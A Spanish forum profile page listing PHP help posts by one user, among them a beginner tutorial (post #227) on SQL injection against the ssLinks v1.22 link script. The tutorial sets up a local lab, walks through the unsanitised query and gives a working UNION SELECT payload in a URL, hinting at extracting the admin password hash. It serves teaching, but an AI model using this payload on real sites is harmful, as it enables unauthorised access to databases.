Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Ertai

#221
Cita de: ramzax200 en  3 Noviembre 2006, 11:59 AM
En el tutorial dice que pongamos stripslashes() en el codigo, pero que pasa si no existe esa funcion en el codigo? el bug que mensionaron en el phpbb2 ¿El codigo contiene stripslashes() ??

La función sirve para simular un servidor que no tuviera las magic_quotes activadas.

Tal como hacemos la inyección, el servidor con las magic_quotes activadas pondrá una barra invertida ( \ ) delante de la comilla simple ( ' ).

La función stripslashes() hará el efecto contrario, anulando así el efecto de las magic_quotes, al fin y al cabo, esto es una prueba de concepto... Pero ¡ojo! sigue siendo un bug  ;)

Saludos.
#222
Cita de: Alesiter en  7 Octubre 2006, 00:52 AM
tengo un problema con el install.php
pongo:

localhost (el por defecto)
root
root
CualquierNombre

y me aparece este mensaje:
Warning: mysql_connect(): Access denied for user: 'root@localhost' (Using password: YES) in c:\appserv\www\sslinks\install.php on line 74
Unable to connect to database server.


y cuando no pongo contraseña ,se limpian los datos
que problema tengo
esos son el usarname y pass con el q instale el appServ
tambien instale el appServ sin pass ,solo con usarName y tambien aparece lo mismo ,q problema tengo?

Estas seguro que esa es la contraseña??

Sino, prueba directamente de cambiar los datos en el archivo global.inc.php...


// mySQL database Host / Name / Username / Password

$db_host = "localhost"; // Your mySQL server host address
$db_name = "sslinks"; // The name of the database to use
$db_user = "username"; // Your mySQL username
$db_pass = "password"; // Your mySQL password


Y los cambias aquí, así no debería haber problema.

Saludos!
#223
Si cambiaste los datos, ponle los que pusiste.

La cuenta de hosting es solo por si no tienes un servidor local.
#224
Cita de: Alesiter en  3 Octubre 2006, 03:34 AM
el nombre de  usuario y contraseña de la segunda imagen son el mismo nombre de  usuario y contraseña que se pone al instalar el appServ?
En data Base Host es el que esta? osea dede donde se accede al appServ?
Data Base Name pongo la nueva base de datos que voy a crear? porfavor esa parte no le entiendo muy bien
CitarServidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
Donde consigo uno ,alguien puede ayudarme?

Si te has instalado el Appserv y no has tocado nada, los datos son los siguientes:

Host: localhost
Usuario: root
Password: (vacio)
Database: elnombrekelepongascuandolacreas

Y hosting no te hace falta entonces...

Saludos! Fijate que puedes modificar el archivo en vez de seguir los pasos del instalador... Lee un poco más abajo!  ;)

Saludos!
#225
A mi a veces tambien me pasa...

Es porque Sdc cambió las imagenes y las colgó, pero yo lo encuentro incómodo...  :-\

Saludos.
#226
Gracias Sdc, eso es porque un día me puse a explotar los bugs que ibas encontrando  :P
#227
Atacando a una aplicación real. El como y el porque de las inyecciones SQL.

Prefacio

Este artículo tiene como objetivo, hacer saber al lector, que es lo que pasa exactamente dentro de la aplicación cuando hacemos una inyección SQL. De esta manera, pretendo evitar que el lector haga simples copy&paste para atacar a una web y que en algún momento tenga los conocimientos necesarios para poder modificar la sentencia a su antojo.

El programa que atacaremos [ssLinks v1.22 - http://scripts.incutio.com/sslinks/] contiene una vulnerabilidad encontrada por SirDarckCat el día 4 de septiembre del 2006.

Nivel

Principiante.

Herramientas necesarias


  • Bloc de notas o editor de texto.
  • Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
  • ssLinks v1.22 - http://scripts.incutio.com/sslinks/sslinks-v122.zip
  • Ganas de aprender  ;D

Montando el escenario

Primero extraemos todos los ficheros del archivo zip dentro de nuestro servidor local o los subimos a nuestra cuenta de hosting. Lo mismo da, lo importante es poder ejecutar el programa desde un navegador web.



Una vez extraídos o subidos, abrimos desde el navegador el archivo install.php. Veremos algo parecido a lo siguiente:



Aquí debemos introducir nuestros datos de la base de datos. Si teneis una cuenta de hosting, estos datos os habrán llegado por mail o los tendreís en vuestro panel de administración. Si, en cambio, teneis un servidor local, estos datos los tendríais que saber  :P

Nota: Si por cualquier razón, a alguien no le funciona el install.php, aquí os dejo los 3 pasos que tendreis que hacer a mano.

Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin.


CREATE TABLE sslinkcats (
   lcat_id int(11) NOT NULL auto_increment,
   lcat_cat int(11) DEFAULT '0' NOT NULL,
   lcat_name varchar(100) NOT NULL,
   lcat_header text,
   lcat_ranking int(11),
   lcat_numlinks int(11) DEFAULT '0' NOT NULL,
   PRIMARY KEY (lcat_id)
)



CREATE TABLE sslinks (
   link_id int(11) NOT NULL auto_increment,
   link_cat int(11) DEFAULT '0' NOT NULL,
   link_name varchar(100) NOT NULL,
   link_url varchar(255) NOT NULL,
   link_desc text,
   link_hits int(11) DEFAULT '0' NOT NULL,
   link_totalrate int(11),
   link_numvotes int(11),
   link_dateadd int(11),
   link_addemail varchar(255),
   link_addname varchar(100),
   link_validated char(3),
   link_recommended char(3) DEFAULT 'no' NOT NULL,
   PRIMARY KEY (link_id)
)


Y por último, cambiar estas líneas del archivo global.inc.php:


// mySQL database Host / Name / Username / Password

$db_host = "localhost"; // Your mySQL server host address
$db_name = "sslinks"; // The name of the database to use
$db_user = "username"; // Your mySQL username
$db_pass = "password"; // Your mySQL password


Más adelante nos pedirá el nombre de usuario y el password que queremos para ssLinks. Si no habeís usado el instalador, dejadlo, porque al ser una aplicación de prueba, dejaremos estos dos valores por defecto.

Una vez instalado todo, podemos borrar tranquilamente el archivo install.php y entramos en el links.php.
Veremos algo así:



Si vamos a Admin Login nos salen unos valores por defecto, los aceptamos si no hemos usado el instalador, y si no, introducimos los que pusimos.

Igualmente estos datos se pueden encontrar en el archivo global.inc.php


// Admin username / password for the script

$admin_user = "Admin"; // This is the username used to log in as an admin
$admin_pass = "sslinks"; // This is the password used to log in as an admin


Una vez loggeados como administradores, veremos un panel para agregar categorías y links. Nosotros agregaremos 3 links diferentes para hacer las pruebas.



Ok. Perfecto. Logout y tenemos el escenario montado  :D

Antes de empezar hacer varios clicks sobre el primer link que hayais puesto (ID=1), para ver luego el ataque final. (lo veremos más adelante)

El ataque

Empezemos lo divertido  :D

Antes que nada miremos lo primero de todo. Los links, no redireccionan a la página directamente sino que pasan por la misma página otra vez con un argumento "go".



Lo veis? Este link nos envia a links.php?go=ID donde cada link tiene su ID. Así mismo, es de imaginar la estructura del programa:

Link a la página -> Llegamos al mismo sitio pero con el argumento go -> Nos lleva a la página que pertenece el ID.

De esta manera, el programa puede llevar unas estadísticas sobre los clicks que se han hecho al link en questión.

Pues bien, miremos primero de todo si la variable go es vulnerable.

Abrimos el archivo links.php:


<?php
/***********************************************************
*
* ssLinks v1.1 - a PHP / mySQL links management system
* (c) Simon Willison 2001
* For more information, visit www.tfc-central.co.uk/sslinks/
*
***********************************************************/

// See global.inc.php for changes since version 1.0.

include("global.inc.php"); //Change this if global.inc.php is in a different directory

// You should not need to change anything below this line.

$admin is_admin();
$return numlinks_array(); // Build array of number of links in each category
$numlinks $return[0];
$numlinkstree $return[1];

if ((!
$cat) && (!$go) && (!$action))
$cat 0;

if (isset(
$go))
{
jump_to($go);
}

if (
$action == "login")
{
if ($username)
login($username$password);
}

...

?>



Ahora toca pensar como una máquina  :-*

Ok, como podeis ver, en la línea 24, pone if(isset($go)). Expliquemos un poco esto. La función isset() devuelve true cuando la variable que le pasamos como argumento esta declarada. Como hemos visto que el programa pasaba como argumento la variable "go", es evidente que la función isset devolverá, en este caso, true. Con lo que nos queda que la variable $go, será enviada a una función jump_to().

Si os fijais, la función jump_to() no está declarada en links.php, por lo tanto ha tenido que ser incluida, cosa que podemos ver en la línea 12...

include("global.inc.php");

Pues nos toca buscar esta función en tal archivo.

Abrimos el archivo global.inc.php y... sorpresa!

En la línea 543 encontramos la función!


<?php
function jump_to($id)
{
// redirect user to URL of $id and increment the hit counter
global $db_host$db_name$db_user$db_pass;
$cnx mysql_connect($db_host$db_user$db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name$cnx)
or custom_die("Unable to select database.");
$result mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num mysql_num_rows($result);
if ($num == 0)
{
header("Location: links.php");
exit;
}
while ($row mysql_fetch_array($result))
{
$hits $row["link_hits"];
$url $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
header("Location: $url");
exit;
}
?>



Y una breve explicación de lo que hace (redirect user to URL of $id and increment the hit counter).

Excelente! Es justo lo que habíamos deducido: la variable go llega al archivo, se consulta a la base de datos que URL esta asociada a tal ID, y nos redirije a ella, despues de haber incrementando el contador.

Nota: Ahora en la función, la variable $go cambia de nombre por la cabecera de la función y pasa a llamarse $id. Esto no nos afectará...

Impresionante! Hemos encontrado nuestro primer bug!! Lo veís todos? Si, si...

$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");

La variable $id se pasa como sentencia SQL sin estar limpiada!!

Ok, antes de continuar, haremos tres cosas básicas. Supondremos que en nuestro servidor tenemos las magic_quotes desactivadas, por que en caso contrario sería imposible inyectar código.

La segunda será imprimir en pantalla la sentencia SQL, y la tercera anular los header, para que no nos redirija a ningún lado  (de momento)

Para ello, modificar la función de tal manera que quede así:


<?php
function jump_to($id)
{
        $id stripslashes($id);
// redirect user to URL of $id and increment the hit counter
global $db_host$db_name$db_user$db_pass;
$cnx mysql_connect($db_host$db_user$db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name$cnx)
or custom_die("Unable to select database.");
echo "SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'";
$result mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num mysql_num_rows($result);
if ($num == 0)
{
//header("Location: links.php");
exit;
}
while ($row mysql_fetch_array($result))
{
$hits $row["link_hits"];
$url $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
//header("Location: $url");
exit;
}
?>



Lo que hemos hecho es lo siguiente. Con la función stripslashes() evitamos el efecto de las magic_quotes sobre la variable $id y más adelante imprimimos simplemente la consulta SQL antes de enviarla al MySQL. Además comentamos los headers para poder ver el efecto que tiene nuestro ataque, porque sino nos redirije.

Perfecto... Empezemos a hacer pruebas!

En nuestro navegador escribamos...

http://localhost/sslinks-v122/links.php?go=ertai r00lz XD

Y que sale?

SELECT link_url, link_hits FROM sslinks WHERE link_id = 'ertai r00lz XD'

Esto es la consulta SQL que hemos enviado. Como veis la variable no ha sido limpiada. Y aquí esta el bug.

Que significa no limpiar la variable? Pues en este caso el programador esperaba recibir un número, pero nosotros como "curiosos" le enviamos una cadena de texto y el programa no se queja. Nuestro objetivo es enviar una cadena de texto que sea capaz de sacar datos de la base de datos. Y en eso consisten las inyecciones SQL.

Un poco de SQL...

Podría escribir páginas enteras hablando de SQL pero se que aburre y la gente quiere algo práctico.

Pues bien, (casi) toda inyección comenza con un UNION. Porque? Porque nosotros sabemos que podemos insertar código a traves de la variable go. El resto de la instrucción SQL no es modificable, por lo tanto, tendremos que adaptarnos nosotros a ella. Por eso el uso de UNION. Union "concatena" por así decir los resultados de diferentes instrucciones SQL.

Supongamos que nuestra aplicación, funcionando normalmente, esta preparada para UN SOLO RESULTADO. Porqué? Porque en condiciones normales, solo hay un ID, que devuelve la URL a la cual queremos ir (el link) y NO mas resultados.

Por eso, nosotros tendremos que hacer que la SQL original (la primera) NO de resultados (-¡pero tampoco error!-) y que la nuestra inyectada devuelve UN resultado y así en el código todo cuadrara.

Además, el número de campos para seleccionar en nuestra consulta inyectada debe ser el mismo, ya que el resource devuelto (el resultado) ha de ser "quadrado".



P: Como hacemos que la consulta primera no de resultado ni error?
R: Pues cojemos un ID imposible, como -1 (menos uno)

P: Como cojemos nuestros datos?
R: Pues para mostrar como funciona esto, cojeremos como ejemplo los hits del ID=1.

P: Pero si los hits del ID=1 es solo un campo, y necesitamos dos.
R: Cierto, así que usaremos un pequeño truco  :P

Manos a la obra:


SELECT link_url, link_hits FROM sslinks WHERE link_id = 'AQUI PODEMOS INYECTAR'


Ok, hacemos el UNION SELECT y cojemos el campo hits de la misma tabla.

SELECT link_url, link_hits FROM sslinks WHERE link_id = '-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1'

Ahora esta claro, no? Le decimos que coja los datos del -1, lo cual devolverá un resultado vacío porque no existe el -1, y pasara al UNION... si os fijais, el primer campo link_hits corresponde al link_url de la primera, para que nos redirija a una URL que no será ni nada mas ni nada menos que los hits del id = 1. El segundo campo, cojemos otra vez los hits, para cuadrar con la primera instrucción SQL.

Por lo tanto, si extraemos la SQL inyectada del trozo inyectable de la primera queda que lo que hemos de poner entre los '' es lo siguiente:

-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Si os fijais bien, faltan la primera comilla del -1 y la ultima del 1, eso es para que cuadre con las que hay en la sentencia SQL original.

Si todo va bien, nos intentara llevar a una URL que resultara ser el número de visitas del ID=1. Para eso, quitad las // (doble barras) que habíamos puesto delante de los dos header() dentro de la función y guardad, el resto de modificaciones dejadlas. Los headers harán que nos redirijan.

Por lo tanto, escribid en vuestro navegador:

http://RUTA_DONDE_TENGAIS_SSLINKS/links.php?go=-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Y como veis nos intenta llevar a:

http://RUTA_DONDE_TENGAIS_SSLINKS/numero

... donde numero es el numero de visitas del link con ID=1.

Podeis hacer más visitas reales y luego volver a inyectar y vereis como el numero sube, porque son los hits.

Ahora esto no tiene mucha lógica, pero imaginaos si en vez de sacar el numero de hits, nos redijiera al hash del password del admin. La cosa cambia, no? jeje.

Pues eso es todo. Espero poder tener tiempo para ir modificando todo y hacerlo más claro, aunque creo que si os poneis lo acabareis sacando.

Recordad que podeis postear cualquier duda, pero intentad antes resolverla por vuestra cuenta. Si habeis leido el texto bien, os habreis dado cuenta de que el hacking es también astucia e imaginación, saber encontrar el truco donde nadie lo habría pensado. Por eso no es nada mecánico, y la única manera de poder sacar las cosas solo, es intentarlo e intentarlo e intentarlo, hasta agotar las ideas y luego preguntar.

Agradecimientos

A todo el staff de elhacker.net, aquellos que están y los que estuvieron.

Y gracias a vosotros por haber llegado hasta esta última linea.

Un saludo,
Ertai
---edit---
imagenes de imageshack regresadas :P
#228
Si te doy el código ya hecho no creo que aprendas.

Mirate el evento OnChange de javascript y usálo llamando a una función. Dentro de la función asigna el valor de un input al otro.

Saludos.
#229
PHP / Re: realizar una encuesta PHP con control IP
10 Septiembre 2006, 16:01 PM
Es cierto lo que dices de que las IPs son dinámicas, pero dudo que nadie se dedique a cambiar de IPs solo para votar en una encuesta.

Lo que también puedes hacer es dejarle una cookie para cuando vote, y, aunque el cliente cambie de IP, si no borra la cookie, no le dejará votar.

Saludos!
#230
Haz un...


<?
print_r($_FILES);
?>


... y verás tu error.

Saludos.